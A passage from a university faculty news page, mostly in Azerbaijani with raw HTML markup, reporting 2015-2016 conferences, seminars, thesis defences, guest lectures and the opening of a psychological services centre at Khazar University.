Təhsil Müdirliyi və Samsun Canik bələdiyyəsinin dəvətilə Samsunda keçirilən 6-cı Beynəlxalq “Psixoloji xidmət və rəhbərlik: Hədəfə doğru insan” konfransında iştirak etdilər. Yerli iştirakçılarla yanaşı, müxtəlif ölkələrdən gəlmiş konfrans iştirakçılarının ümumi sayı 500 nəfərdən çox idi.Mələk Kərimova “Azərbaycanda təhsil: Azərbaycanda psixoloji xidmət və rəhbərlik” mövzusunda çıxış etdi, “Əlil uşaqlar və onların ailələrinə psixoloji xidmət” mövzusunda isə vorkşoplar apardı. O, konfransda xarici ölkələrin elmi təşkilatının üzvü də oldu.Validə Kərimova da Samsun Şəhər Canik Bələdiyyəsinin dəvətilə təşkil olunan “Hədəfə doğru insan” mövzusunda yer aldı, bir çox çıxış və vorkşoplarda uğurla iştirak etdi.<div>Sonda iştirakçılara sertifikatlar verildi.</div><strong>&nbsp;</strong><div><em><strong style=\"color:#330066\">Fakültə əməkdaşlarının məqaləsi çap edildi</strong></em></div><div><em><strong style=\"color:#330066\"><br></strong></em></div>2016-ci il aprelin 30-da Humanitar və sosial elmlər fakültəsinin baş laborantı Validə Kərimova (Dilşünaslıq ixtisası üzrə&nbsp;doktorant) və Lamiyə Hacılı, Bakı Slavyan Universitetində ümummilli lider Heydər Əliyevin anadan olmasının 93-cü ilinə həsr olunmuş “Filologiya elminin aktual problemləri” elmi konfransında, Validə Kərimova “Qlobal körpüləşmə: mən sizin dilinizi danışıram” (ingiliscə), Lamiyə Hacılı isə “Tarixə nəzərən təhsilin anlamı” tezisləri ilə çıxış etdilər. Konfransın sonunda elmi tədqiqatçılara elmi məqalələrin dərc olunduğu kitab və sertifikat təqdim edildi.&nbsp;<div><br></div><div style=\"text-align:justify\"><br><div><em><strong style=\"color:#330066\">Humanitar və sosial elmlər fakültəsinin əməkdaşları Gənc Tədqiqatçıların IV Beynəlxalq Elmi Konfransında çıxış etdilər</strong></em></div><div><em><strong style=\"color:#330066\"><br></strong></em></div>2016-ci il aprelin 29-da Humanitar və sosial elmlər fakültəsinin baş laborantı Validə Kərimova (Dilşünaslıq ixtisası üzrə doktorant) və Lamiyə Hacılı (Təhsildə qiymətləndirmə və monitoronq magistrant), Qafqaz Universitetində ümummilli lider Heydər Əliyevin anadan olmasının 93-cü ilinə həsr olunmuş Gənc Tədqiqatçıların IV Beynəlxalq Elmi Konfransında iştirak etdilər. Konfransa Azərbaycan, Türkiyə, ABŞ, Böyük Britaniya, Rusiya, Çexiya, Avstriya və s. kimi ölkələrin gənc tədqiqatçıları və elm adamları öz tezisləri ilə müraciət etmişdilər. Qeyd etmək lazımdır ki, 1400-ə yaxın tezis arasından 4 dildə – Azərbaycan, türk, rus, ingilis dillərində 1100 elmi məqalə qəbul edilmişdi. Əsas hədəf müxtəlif ölkələrin elmi tədqiqatçılarını bir araya gətirməklə, elmlə məşğul olan gənclər arasında əlaqələrin qurulmasını təmin etməkdən ibarətdir.Konfransda Validə Kərimova “Metaforanın linqvistik xarakteri” (ingiliscə), Lamiyə Hacılı isə “Ənənəvi və müasir anlamda təhsil” tezisləri ilə çıxış etdilər.Konfransın sonunda elmi tədqiqatçılara elmi məqalələrin dərc olunduğu iki cildli kitab və sertifikat təqdim edilmişdir.&nbsp;</div><div><br></div><div style=\"text-align:justify\"><br><div><em><strong style=\"color:#330066\">III Beynəlxalq Psixologiya Konfransı keçirildi</strong></em></div><div><em><strong style=\"color:#330066\"><br></strong></em></div>2016-cı il aprelin 23-ü və 24-də Xəzər Universitetinin “Neftçilər” korpusunda universitetin Psixologiya departamentinin və Karyera Mərkəzinin təşkilatçılığı ilə ənənəvi Azərbaycan III Beynəlxalq Psixologiya Konfransı keçirildi. Konfransda respublikanın müxtəlif bölgələrindən olan mütəxəssislərlə yanaşı, sahəyə maraq göstərən şəxslər də iştirak edirdilər. Konfransa olan bu maraq nəzəriyyə ilə praktikanın bir arada olması ilə sıx bağlıdır.Aprelin 23-də konfransın rəsmi hissəsi və məruzələr dinlənildi. Aprelin 24-də isə iştirakçılar əvvəlcədən müəyyən olunmuş vorkşoplarda iştirak etdilər.Humanitar və sosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova konfransı açıq elan edərək, sözü Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya verdi. Sonra kürsüyə uzman psixiyatr İkram Rüstəmov dəvət olundu. Konfrans zamanı yerli və Türkiyədən dəvət olunmuş psixoloqlar və psixiatrlar çıxış edərək, psixologiyanın müxtəlif sahələrini əhatə edən mövzular haqqında məlumat verdilər. Konfransda Hacettepe Universitetindən professor Tuncay Ergene, Adnan Menderes Universitetindən professor Mehmet Eskin, Geştalt Dərnəyinin qurucusu professor Ceylan Daş, Yüzüncü il Universitetindən dosent Selim Günüç, Hasan Kalyoncu Universitetindən dosent Ramin Əliyev iştirak edirdilər. Konfransda imtahan həyəcanı, internet asılılığı, psixoloji konsultasiyanın mərhələləri, homoseksuallıq, yenilməzlik kimi aktual mövzular haqqında müzakirələr aparıldı. &nbsp;Konfransda iştirak edənlər psixologiya sahəsində yeni biliklər əldə etməklə yanaşı, bu sahənin mütəxəssislərinin bilik və təcrübələrindən yararlanmaq, fərqli baxış tərzlərini görmək, müqayisə etmək, müxtəlif universitetlərdə oxuyan tələbələr və çalışan müəllimlərlə əlaqələr qurmaq imkanı əldə etdilər.Konfransın sonunda hər bir iştirakçıya sertifikat verildi.</div><div><br></div><div>&nbsp;<strong>&nbsp;</strong><div><em><strong style=\"color:#330066\">“Xəzər”in tələbəsi “kişilərdə depressiya”dan yazdı</strong></em></div><div><em><strong style=\"color:#330066\"><br></strong></em></div><div style=\"text-align:justify\">2016-cı il mayın 2-də xalqxeber.az xəbər saytında Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin tələbəsi Nərmin Quliyevanın “Kişilərdə depressiya: onlar intihara daha çox meyl edir” adlı yazısı yayınlanmışdır.&nbsp;Yazını tam şəkildə bu link vasitəsilə əldə etmək olar:&nbsp;</div><a href=\"http://xalqxeber.az/sosial/359509-kishilerde-depressiya-onlar-intihara-daha-chox-meyl-edir.html\" style=\"text-align:justify\"><strong>http://xalqxeber.az/sosial/359509-kishilerde-depressiya-onlar-intihara-daha-chox-meyl-edir.html</strong></a><strong style=\"text-align:justify\"></strong><strong style=\"text-align:justify\">&nbsp;</strong><strong style=\"text-align:justify\"></strong><em style=\"text-align:justify\"><strong style=\"color:#330066\">“Xəzər”in əməkdaşı psixoloji test hazırladı</strong></em><div style=\"text-align:justify\">2016-cı il mayın 2-də mir.com xəbər saytında Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin psixologiya kafedrasının müəllimi Mələk Kərimovanın türkiyəli mütəxəssis Səlim Günüçlə birlikdə internet asılılığının müəyyənləşdirilməsi ilə bağlı testin Azərbaycanda istifadəyə uyğunlaşdırması ilə bağlı “Azərbaycanda tələbələrin neçə faizində internet asılılığı var?” adlı yazı yayınlanmışdır.&nbsp;Testin keçirilməsi və nəticələri ilə bağlı geniş məlumatı bu link vasitəsilə əldə etmək olar:&nbsp;&nbsp;<strong><a href=\"https://wsemir.com/xeberler/tehsil/66256-azerbaycanda-telebelerin-nece-faizinde-internet-asililigi-var.html\">https://wsemir.com/xeberler/tehsil/66256-azerbaycanda-telebelerin-nece-faizinde-internet-asililigi-var.html</a></strong></div><div style=\"text-align:justify\"><br></div><strong></strong><div><em style=\"color:#330066\"><strong style=\"background-color:#ffffff\">Dərsdə simulasiya edildi</strong></em></div><div><br></div><div>2016-cı il may 11-də Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentində “Konfliktologiya” ixtisas fənni əsasında “Dağlıq Qarabağ münaqişəsinin həllində Madrid Prinsipləri” üzrə simulasiya oyunu keçirilmişdir. Qeyd edək ki, simulyasiya qarşıdakı 4 həftə ərzində davam edəcək.</div>Bu haqda bəzi xəbər saytlarında məlumat verilmişdir: &nbsp;&nbsp;http://azpress.az/index.php?lang=az§ionid=news&amp;id=53079 &nbsp;</div><div><br></div><div><br><strong></strong><strong><em style=\"color:#330066\">Departament müdirimizə dosent elmi adı verilmişdir</em></strong></div><div><br></div><div><strong><em style=\"color:#330066\"></em></strong>Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasının 29 fevral 2016-cı il tarixli qərarı ilə Xəzər universiteti Musiqi və incəsənət departamentinin müdiri, pianoçu Zülfiyyə Sadıqovaya musiqi və incəsənət kafedrası üzrə dosent elmi adı verilmişdir. Martın 31-də Ali Attestasiya Komissiyasında Z. Sadıqovaya dosent diplomu təqdim olunmuşdur. Əməkdaşımızı təbrik edir, ona yeni uğurlar arzulayırıq.</div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\">EMBER layihəsi: vegetarianlıq haqqında kurs başa çatdı</em></strong><em></em>&nbsp;</div><div><br></div><div>2016-cı il martın 18-də Xəzər Universitetində Polşanın Lodz Universitetindən dəvət olunmuş qonaq mühazirəçinin keçirdiyi vegetarianlıq kursu başa çatdı və kursun dinləyicilərinə mühazirələrdə iştirak etdiklərinə görə sertifikatlar təqdim olundu. “Vegetarianlığın fəlsəfi aspektləri” adlı kurs tələbələrə vegetarianlığın fəlsəfi aspektləri, onun növləri, tarixi, leyhinə və əleyhinə olan arqumentləri və bu təcrübəyə olan müasir yanaşmaya dair məlumat verdi. Kurs Avropa Komissiyası tərəfindən maliyyələşdirilən EMBER (<em>Erasmus Mundus Broadening Educational Opportunities</em>&nbsp;– Erasmus Mundus Təhsil İmkanlarının Genişləndirilməsi) layihəsi çərçivəsində, Lodz Universitetində fəlsəfə elmləri üzrə doktorluq dərəcəsi almış Dr. Yanuş Çiçura tərəfindən keçirilirdi. Dr. Çiçura Xəzər Universiteti ilə EMBER layihəsi çərçivəsində əməkdaşlığını davam etdirəcək: Yeni kurslar aprel və may ayları üçün planlaşdırılır. EMBER layihəsi Qərbi-Mərkəzi-Şərqi Avropa və Cənubi Qafqazdan olan iyirmi tərəfdaş və dörd əlaqədar tərəfdaş ali təhsil müəssisələrindən ibarət konsorsiumdur. Layihənin hədəf sahələri iqtisadiyyat, biznes, dillər və sosiologiyadır. &nbsp;Xəzər Universitetində EMBER layihəsinin koordinatoru Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərovadır.&nbsp;</div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\">Fakültə əməkdaşımızın mükafatının dövlət qeydiyyatına alınması haqqında xəbər saytları məlumat yaymışdır</em></strong></div><div><br></div><div style=\"text-align:justify\">Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin&nbsp; müdiri, siyasi elmlər üzrə fəlsəfə doktoru Muxtar Hacızadənin elmi-pedaqoji fəaliyyətinə və Avropa inteqrasiyası ixtisasının tədrisi üzrə peşəkarlığına görə nüfuzlu “Jean Monnet Kürsüsü Sahibi” tituluna layiq görülməsinin Azərbaycan Respublikası Ədliyyə Nazirliyi tərəfindən 18 mart 2016-cı il tarixində dövlət qeydiyyatına (qeydiyyat nömrəsi: 13/16/1112-A7-477/X/B1) alınması haqqında Azərbaycanın bir sıra xəbər saytları məlumat yaymışdır:<a href=\"http://azertag.az/xeber/Azerbaycanli_alim_nufuzlu_beynelxalq_mukafata_layiq_gorulub-938011\"><strong>http://azertag.az/xeber/Azerbaycanli_alim_nufuzlu_beynelxalq_mukafata_layiq_gorulub-</strong></a><strong><a href=\"http://sia.az/az/news/social/535389\">http://sia.az/az/news/social/535389</a></strong></div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><a href=\"http://sia.az/az/news/social/535389\"></a></strong><strong></strong><strong></strong><strong><em style=\"color:#330066\">ESFIDIP layihəsi çərçivəsində Xəzər Universitetinin müəllim heyəti üçün təlim-seminar keçirildi</em></strong></div><div><br></div><div style=\"text-align:justify\"><strong><em style=\"color:#330066\"></em></strong>2016-ci il martın 16-da “Əlilliyi olan şəxslərin Azərbaycanın Ali Təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi çərçivəsində Xəzər Universitetində dərs deyən müəllim heyəti üçün təlim-seminar həyata keçirildi. Təlimçi Mələk Kərimova (Humanitar və sosial elmlər fakülətisinin dekan müavini) iştirakçılara əlillik, onun xüsusiyyətləri, onlara yanaşma tərzi və tədris metodikası haqqında geniş məlumat verdi.&nbsp;Tədbir zamanı mövzu ətrafında fikir mübadiləsi aparıldı və iştirakçıların suallarına cavab verildi.</div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong></strong><strong><em style=\"color:#330066\">EMBER layihəsi: qonaq professor vegetarianlığa dair mühazirə oxuyacaq</em></strong></div><div><br></div><div style=\"text-align:justify\"><strong><em style=\"color:#330066\"></em></strong>2016-cı il martın 11-də Polşanın Lodz Universitetindən professor “Vegetarianlığın fəlsəfi aspektləri” adlı kursunun ilk məruzəsi ilə çıxış etdi.&nbsp;Kurs mart ayı ərzində Xəzər Universitetinin tələbələri üçün Avropa Komissiyası tərəfindən maliyyələşdirilən EMBER (<em>Erasmus Mundus Broadening Educational Opportunities</em>&nbsp;– Erasmus Mundus təhsil imkanlarının genişləndirilməsi) layihəsi çərçivəsində Lodz Universitetinin professoru Dr. Yanuş Çiçura tərəfindən təqdim olunur. Geniş pedaqoji təcrübəyə malik olan Dr. Çiçura fəlsəfə elmləri üzrə doktorluq dərəcəsini 2005-ci ildə Lodz Universitetində almışdır.&nbsp;EMBER layihəsi Qərbi-Mərkəzi-Şərqi Avropa və Cənubi Qafqazdan olan iyirmi tərəfdaş və dörd əlaqədar tərəfdaş ali təhsil müəssisələrindən ibarət konsorsiumdur. Layihənin hədəf sahələri iqtisadiyyat, biznes, dillər və sosiologiyadır.&nbsp;Xəzər Universitetində EMBER layihəsinin koordinatoru Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərovadır.<strong></strong>&nbsp;</div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\">“Çətin insanlarla asan münasibət” seminarı keçirildi</em></strong></div><div><br></div><div style=\"text-align:justify\">2016-cı il martın 9-da Xəzər Psixoloji Xidmət Mərkəzi “Çətin insanlarla asan münasibət” adlı seminar təşkil etdi. Seminar Xəzər Universitetinin müəllimləri Mələk Kərimova və Nərmin Osmanlı tərəfindən keçirildi. Seminarda şəxsiyyət pozuntuları, ego, kimlik, mənlik, xarakter, temperament kimi terminlərə aydınlıq gətirildi,” çətin” insanlarla ünsiyyətin yolları və ünsiyyət qurma çətinlikləri üzərində duruldu.&nbsp;Seminar iştirakçılarından gələn suallar ətraflı cavablandırıldı və təkliflər dinlənildi.<strong></strong>&nbsp;</div><div><strong style=\"color:#330066\"><em><br></em></strong></div><div><br></div><div style=\"text-align:justify\"></div><div style=\"text-align:justify\"><strong style=\"text-align:justify\"><em><br></em></strong></div><div style=\"text-align:justify\"><strong style=\"text-align:justify\"><em>İngilis dili və ədəbiyyatı departamentində dissertasiya müdafiələri oldu</em></strong></div><div style=\"text-align:justify\"><strong><em><br></em></strong><strong style=\"text-align:justify\"><em></em></strong><div style=\"text-align:justify\">2016-cı il martın 3-də İngilis dili və ədəbiyyatı departamentinin magistrları aşağıdakı mövzulardada dissertasiya müdafiə etdilər:&nbsp;Yeganə Bağırova&nbsp;</div><em style=\"text-align:justify\">“İngilis dilində məsdər və məsdər birləşmələrinin linqvistik xüsusiyyətləri (İngilis dilində məsdərin Azərbaycan dilinə tərcüməsi)”</em>;Nərgiz Mirzəyeva&nbsp;<em>“P.B.Şelli və Con Kits yaradıcılığının müqayisəli təhlili”;&nbsp;</em>Leyla Huseynli<em>“Çarlz Dikensin “Böyük ümidlər” romanında metaforların və simililərin Azərbaycan dilinə tərcüməsi”;&nbsp;</em>Marina Latifova<em>“Skot Fitsgeraldın “Möhtəşəm Qetsbi” romanında bədii ifadə vasitələri və onların Rus dilinə tərcüməsi”</em>. Mövzular ətrafında müzakirə keçirildikdən sonra işlər qiymətləndirildi. Müdafidə Şurasının üzvləri professor Bəylər Hacıyev, f.ü.f.d. Eldar Şahgəldiyev, fil.ü.f.d Dilbər Zeynalova, fil.ü.f.d. Reyhan Mədətova, Eynur Mehdiyev, Camalə Məmmədova, Lala Gamidova, İlham Tağıiyev idilər.<em style=\"text-align:justify\"><br></em><strong style=\"text-align:justify\"></strong>&nbsp;</div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\">Magistrlar dissertasiya müdafiə etdilər</em></strong></div><div><br></div><div style=\"text-align:justify\">2016-cı il martın 7-də İngilis dili və ədəbiyyatı departamentinin magistrları aşağıdakı&nbsp;mövzulardada dissertasiya müdafiə etdilər:&nbsp;Qənirə İsgəndərova&nbsp;– “Ermənistan-Azərbaycan: Dağlıq Qarabağ münaqişəsində məcburi köçkün olmuş insanlara tətbiq olunan sosial-psixoloji yardım proqramlarının tətbiqi” (<em>elmi rəhbər: psix.e.f. d, dos. Elmina Kazımzadə</em>);&nbsp;Nuranə Quliyeva&nbsp;– “Azərbaycanda autizm problemi əlamətləri və korreksiya üsulları” (<em>elmi rəhbər: fəl.e.f.d. Eldar Shahgaldiyev</em>);&nbsp;Aydan Xasməmmədzadə&nbsp;– “Psixoaktiv maddələrin istifadəsi nəticəsində şəxsiyyətin psixopatizasiyası” (<em>elmi rəhbər: tibb e.f.d. Azad Manuçehri Lalei</em>);&nbsp;Sevinc Əhmədova&nbsp;–&nbsp;“Gənc tələbə oğlanlar arasında siqaret çəkmə ilə depressiya arasında əlaqə” (<em>elmi rəhbər: psix.e.f. d, dos. Ləman Verdiyeva</em>).Müdafiədə Şurasının üzvləri&nbsp;olaraq hüq.e.f.d., dos. Cabir Xəlilov, fəl.e.f.d. Eldar Şahgəldiyev, AR-nın Ədliyyə Nazirliyi&nbsp;Penitensiar xidmətinin aparıcı psixoloqu, psix.e.f.d. Ləman Verdiyeva, Humanitar və sosial elmlər fakültəsinin dekan müavini, sosial fəl. üzrə doktorant Mələk Kərimova, Tibb Universiteti Psixatriya kafedrasının dosenti, psix.e.f.d. Araz Manuçehri və şuranın elmi katibi Dilşünaslıq üzrə Doktorant tələbə Validə Kərimova iştirak etdilər.İşlər müsbət qiymətləndirildi. Müdafiə Şurası üzvləri Qənirə İsgəndərovanın “Ermənistan-Azərbaycan: Dağlıq Qarabağ münaqişəsində məcburi köçkün olmuş insanlara tətbiq olunan sosial- psixoloji yardım proqramlarının tətbiqi” adlı dissertasiya işinin kitabça şəklində çap olunmasını tövsiyə etdilər.<strong></strong>&nbsp;</div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\">Xəzər Psixoloji Xidmət Mərkəzinin açılışı ilə əlaqədar təqdimat keçirildi</em></strong></div><div><br></div><div style=\"text-align:justify\"><strong><em style=\"color:#330066\"></em></strong>2016-cı il fevralın 29-da Xəzər Universitetində Xəzər Psixoloji Xidmət Mərkəzinin açılışı ilə əlaqədar təqdimat keçirildi. Təqdimat mərasimində mərkəzin koordinatoru Mələk Kərimova Xəzər Psixoloji Xidmət Mərkəzinin hansı zərurətdən ortaya çıxdığı və hansı xidmətləri nəzərdə tutduğu barədə ətraflı məlumat verdi. O, bu mərkəzin tələbələrə və kənar şəxslərə psixoloji xidmət və dəstək vermək üzrə Xəzər Universitetinin rektorunun əmri əsasında yaradılan strukrur mərkəzlərdən biri olduğunu qeyd etdi. Mərkəzin&nbsp;universitetin nizamnaməsi və daxili qaydaları əsasında fəaliyyət göstərəcəyini bildirən Mələk Kərimova mərkəzdə psixoloji seminarlar, kurslar, təlimlər, konfranslar&nbsp;təşkil ediləcəyini, elmi tədqiqat işləri aparılacağını, universitetin&nbsp;tələbələrinə (ödənişsiz) və eləcə də, kənar şəxslərə (ödənişli) psixoloji xidmət və dəstək xidməti veriləcəyini qeyd etdi.&nbsp;Professor Hamlet İsaxanlı da mərkəzin açılışı ilə əlaqədar ürək sözlərini ifadə etdi. Təqdimat mərasimində iştirakçıların sualları cavablandırıldı və struktur bölmələr arasındakı işbirliyinin vacibliyi vurğulandı.</div><div><br></div><div><br></div><div><br></div><div><strong></strong><strong>PAYIZ-2015</strong></div><div><strong></strong><strong style=\"color:#330066\"><em>Humanitar və Sosial elmlər fakültəsinin dəstəyi ilə fakültədə&nbsp;“Multikulturalizm” mövzusunda seminar</em></strong></div><div><span style=\"color:#330066\"><strong><em><br></em></strong></span><strong style=\"color:#330066\"><em></em></strong><em></em><div style=\"color:#330066\"><em></em></div>&nbsp;21.12.2015 ci il tarixində&nbsp;Xəzər Universiteti, Humanitar və Sosial elmlər fakültəsinin dəstəyi ilə fakültənin Jurnalistika departamentinin müəllimi Rəfi Qurbanov tərəfindən “Multikulturalizm” mövzusunda seminar keçirildi. Müzakirə zamanı dünyada mövcud olan modellərlə yanaşı, Azərbaycan multikulturalizmi və dövlət siyasəti də əsas mövzulardan oldu. Seminar çərçivəsində aşağıdakı mözvulara da toxunuldu. Seminarda tələbə və işçi heyəti də iştirak etdi.*&nbsp;&nbsp;Multikultural anlayışın meydana gəlmə səbəbləri*&nbsp;&nbsp;Mədəni müxtəlifliyin təzahür formaları*&nbsp;&nbsp;Multikulturalizmin Kanada modeli*&nbsp;&nbsp;Multikulturalizmin Sinqapur modeli*&nbsp;&nbsp;Assimilyasiya və izolyasiya siyasətlərinin aparılması multikultural siyasətin əsas tərkib hissəsi kimi&nbsp;</div><div><br></div><div><br><div><strong><em style=\"color:#330066\">Hüquq Tədris Mərkəzində təlim</em></strong><em></em></div><div><strong><em style=\"color:#330066\"><br></em></strong></div>&nbsp;2015-ci il dekabrın 19-u və 20-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsində yaradılmış Hüquq Tədris Mərkəzində davamlı olaraq həyata keçirilən layihə çərçivəsində “Avropa İnsan Hüquqları Konvensiyasının təhlili” mövzusunda növbəti təlim keçirildi. Təlimdə Bakı Dövlət Universitetinin, Dövlət İdarəçilik Akademiyasının, Milli Aviasiya Akademiyasının, Xəzər Universitetinin məzunları və tələbələri, dövlət qurumlarında və müxtəlif hüquq şirkətlərində çalışan hüquqşünaslar iştirak edirdilər. Təlimdə Avropa İnsan Hüquqları Məhkəməsinə şikayətlərin verilməsi qaydası müzakirə olunmuş, iştirakçılar Avropa İnsan Hüquqları Konvensiyasının müxtəlif maddələri və məhkəmə qərarları ilə yaxından tanış olmuşdular. Təlimi Avropa İnsan Hüquqları Assosiasiyasının üzvü, Avropa İnsan Hüquqları Məhkəməsində hüquqşünas işləmiş Könül Qasımova aparırdı.<strong></strong><strong><em>Psixoloji Xidmət Mərkəzinin təşəbbüsü ilə&nbsp;Evlilik həyatına psixoloji və fiziki hazırlıq&nbsp;mövzusunda təlim</em></strong><em></em>11 dekabr&nbsp;2015 ci ildə Xəzər Universiteti Psixoloji Xidmət Mərkəzinin təşəbbüsü ilə&nbsp;Evlilik həyatına psixoloji və fiziki hazırlıq&nbsp;mövzusunda Universitetinin Psixologiya kafedrasının müəlliməsi, Humanitar və Sosial elmlər fakültəsinin&nbsp;dekan müavini psixoloq Mələk Kərimova tərəfindən seminar təşkil edildi. Seminarda psixoloq Mələk Kərimova evlilik sistemi, bu sistemə&nbsp; &nbsp;gənclərin hazırlığının əhəmiyyətindən, evlilik öncəsi nələrə diqqət ediləcəyi mövzüsünda çıxış edərək tələbələri də diskusiyaya cəlb etmişdir. Seminara həkimlər dəvət edilərək &nbsp;&nbsp;&nbsp;evlilikdən öncə fiziki sağlamlıqda yarana biləcək xəstəliklərdən bəhs edərək tələbələri məlumatlandırdılar. Seminarda həmçinin Fəsləfə və Sosiologiya departamentinin müəllimi Mail Yaqub və digər departament müəllimləri&nbsp;də çıxış etdilər. Tələbələrin böyük marağına səbəb olan bu kimi tədbirlərin&nbsp;Xəzər Psixoloji Konsultasiya Mərkəzi tərəfindən mütəmadi keçirilməsi&nbsp;nəzərdə tutulur.</div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong></strong><strong><em style=\"color:#330066\">Xəzər Universitetində&nbsp;</em></strong><strong><em style=\"color:#330066\">“Əlçatan təhsil, Əlçatan gələcək” adlı təlim keçirildi</em></strong></div><div><br></div><div><strong style=\"text-align:justify\"><em style=\"color:#330066\"></em></strong><div style=\"text-align:justify\">2015-ci il dekabrın 4 və 5- də “Y-PEER” təşkilatı və Xəzər Universitetinin “Əlilliyi olan tələbələr üçün mərkəz” birlikdə “Əlçatan təhsil, Əlçatan gələcək” adlı təlim keçirdi. Təlim zamanı Xəzər Universitetinin Humanitar və sosial elmlər fakultəsinin tələbələri Zahid Hüseynov, Sürəyya İbrahimova və Y-PEERin üzvü olan Fəridə Cəbrayılova əlilliyi olan şəxslərə qarşı etik prinsiplərin qorunması, davranış, danışıq qaydaları və əlilliyin növləri haqqında təqdimat etdilər. Xüsusi qısametrajlı filmlərə baxıldı və müzakirələr aparıldı. “Əlilliyi olan tələbələr üçün mərkəz”in könüllüsü və Xəzər Universitetinin Humanitar və sosial elmlər fakültəsinin tələbəsi Günel Qurbanova adını tarixə yazmış əlilliyi olan şəxslərin uğur hekayələri haqqında təqdimat etdi. Xüsusi aralıqlarla psixoloji oyunlar keçirildi və tapşırıqlar verildi. Oyunların məqsədi, əlilliyi olan şəxslərin yaşadığı sosial və fiziki çətinlikləri çatdırmaq və bu problemləri müəyyən qədər aradan qaldırmağın həlli yollarını tapmaq idi.&nbsp;Dekabrın 5-i isə universitetin 1-ci mərtəbəsində əlilliyi olan şəxslərin əl işlərindən ibarət olan sərgi keçirildi. Daha sonra qonaqlar da təlimdə iştirak edərək, öz həyat hekayələrini iştirakçılarla bölüşdülər və gündəlik həyatlarında qarşılaşdıqları problemlərindən bəhs etdilər.&nbsp;Təlimdə 20 nəfərə yaxın tələbə iştirak etdi və ikinci günün sonunda bütün iştirakçılara sertifikat təqdim olundu.</div><strong style=\"text-align:justify\"></strong>&nbsp;</div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\">Xəzər Universitetində doktoranturaya növbəti qəbul başladı</em></strong></div><div><br></div><div><strong><em style=\"color:#330066\"></em></strong>2015-ci il noyabr 23-də Xəzər Universitetində 17 ixtisas üzrə doktoranturaya qəbul imtahanı keçirildi. İmtahanda Xəzər Universitetinin rektoru Hassan Niknafs və departament müdirləri iştirak etmişlər. Birinci mərhələdən keçən namizədlər 2015-ci il noyabrın 27-də “Ümumi fəlsəfə” fənni üzrə imtahanda iştirak edəcəklər.<strong></strong>&nbsp;</div><div style=\"text-align:justify\"><div style=\"color:#330066\"><em><strong><br></strong></em></div><div style=\"color:#330066\"><em><strong><br></strong></em></div><div style=\"color:#330066\"><em><strong>Guest Lecture on the Role of Azerbaijan in European Energy Supply</strong></em></div><div style=\"color:#330066\"><em><strong><br></strong></em></div>On November 23, 2015, Mr. Ilham Shaban, the Director of the Caspian Barrel Center for Oil Studies, delivered a guest lecture for undergraduate students of the Department of Political Science and International Relations of Khazar University. His main focus was on Azerbaijan\'s place in the European energy strategy. He spoke about the main destinations for Azerbaijani oil and gas exports, both in Europe and elsewhere in the world. He also talked about the changing market conditions, changes in oil supply and demand and its impact on prices, peculiarities of commercial gas sales and \"the new oil strategy\" of Azerbaijan. Mr. Shaban shared with the students exclusive information about the volumes of oil and condensate production in Azerbaijan by the year 2020 obtained from the companies specializing in the energy sector.The lecture was followed by a question and answer session, where questions were raised about the delivery of gas to Nakhchivan according to the swap agreement with Iran, the diversification of oil and gas export routes, peculiarities of TAP and TANAP projects, and the influence of the interstate relations on their realization as well as their influence on regional cooperation including Turkey and Georgia.&nbsp;</div><div><em><strong style=\"color:#330066\"><br></strong></em></div><div><em><strong style=\"color:#330066\"><br></strong></em></div><div><em><strong style=\"color:#330066\">Humanitar və sosial elmlər fakültəsinin birinci kurslar üçün “Xoş gəldiniz” tədbiri keçirildi</strong></em></div><div><br></div><div style=\"text-align:justify\"><em><strong style=\"color:#330066\"></strong></em><em></em>2015-ci il oktyabrın 28-də Humanitar və sosial elmlər fakültəsinin birinci kurslar üçün “Xoş gəldiniz” tədbiri keçirildi. Fakültənin dekanı dosent Cabir Xəlilov tədbiri açaraq tələbələrə öz ürək sözlərini ifadə etdi. Sonra Xəzər Universitetinin təsisçisi, Direktor və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və fakültənin müəllimləri də tələbələri təbrik edərək, universitetdə onların hərtərəfli inkişafı yönündə irəliləməsi üçün yaradılmış şəraitdən danışdılar və onlara universitet həyatında fəal olmağı tövsiyə etdilər. Daha sonra hər ixtisasın tələbələri hazırladıqları müxtəlif mahnı, rəqs və s. nömrələrini nümayiş etdirərək, tədbirə öz töhfələrini verdilər.Tələbələrin istedadlarını ortaya çıxarmaq, onları daha yaxından tanımaq məqsədilə keçirilən bu tədbir, eyni zamanda, onlarınaktiv olaraq tələbə həyatlarını daha maraqlı olmasına da şərait yaradır.&nbsp;</div><div><em><strong><br></strong></em></div><div><em><strong><br></strong></em></div><div><em><strong>Hüquq Tədris Mərkəzində təlim keçirildi</strong></em></div><div><br></div><div style=\"text-align:justify\"><em><strong></strong></em>2015-ci il oktyabrın 10 və 11-də Hüquq Tədris 